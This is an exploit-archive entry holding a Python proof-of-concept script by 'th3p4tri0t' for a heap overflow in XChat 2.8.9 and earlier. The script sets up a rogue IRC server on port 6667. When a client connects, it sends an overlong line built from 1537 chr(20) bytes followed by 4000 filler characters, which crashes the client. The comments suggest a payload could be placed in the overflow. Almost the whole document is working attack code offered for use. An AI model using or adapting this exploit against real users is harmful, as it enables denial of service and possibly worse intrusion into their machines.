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XChat Heap Overflow DoS
[#!/usr/bin/python
# Exploit Title: XChat Heap Overflow DoS Proof of Concept
# Date: June 2011
# Author: th3p4tri0t
# Software Link: http://xchat.org/
# Version: <= 2.8.9
# This only works on XChat on KDE, I'm not sure about windows.
# It has been tested on Ubuntu (failed), Kubuntu, and Bactrack 5
# It is a heap overflow and is some sort of error with X Windows
# It uses 1537 (this is the minimum) of the ascii value 20
# after this, an unknown number of any other character (did not check for special
# characters) is required to trigger a crash, presumably the payload will go here.
# th3p4tri0t
import socket
print "XChat PoC Exploit by th3p4tri0t\n"
print "Creating server..."
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print " [*] Binding to socket..."
sock.bind(('127.0.0.1', 6667))
print " [*] Listening on socket..."
sock.listen(5)
print " [*] Accepting connection..."
(target, address) = sock.accept()
print " [*] Sending payload..."
buffer = "hybrid7.debian.local "
buffer += chr(20) * 1537 # minimum required of this character
buffer += "A"*4000 # anything can go here and it still works.
buffer += " :*\r\n"
target.send(buffer)
target.close
sock.close
# 0day.today [2024-11-15] #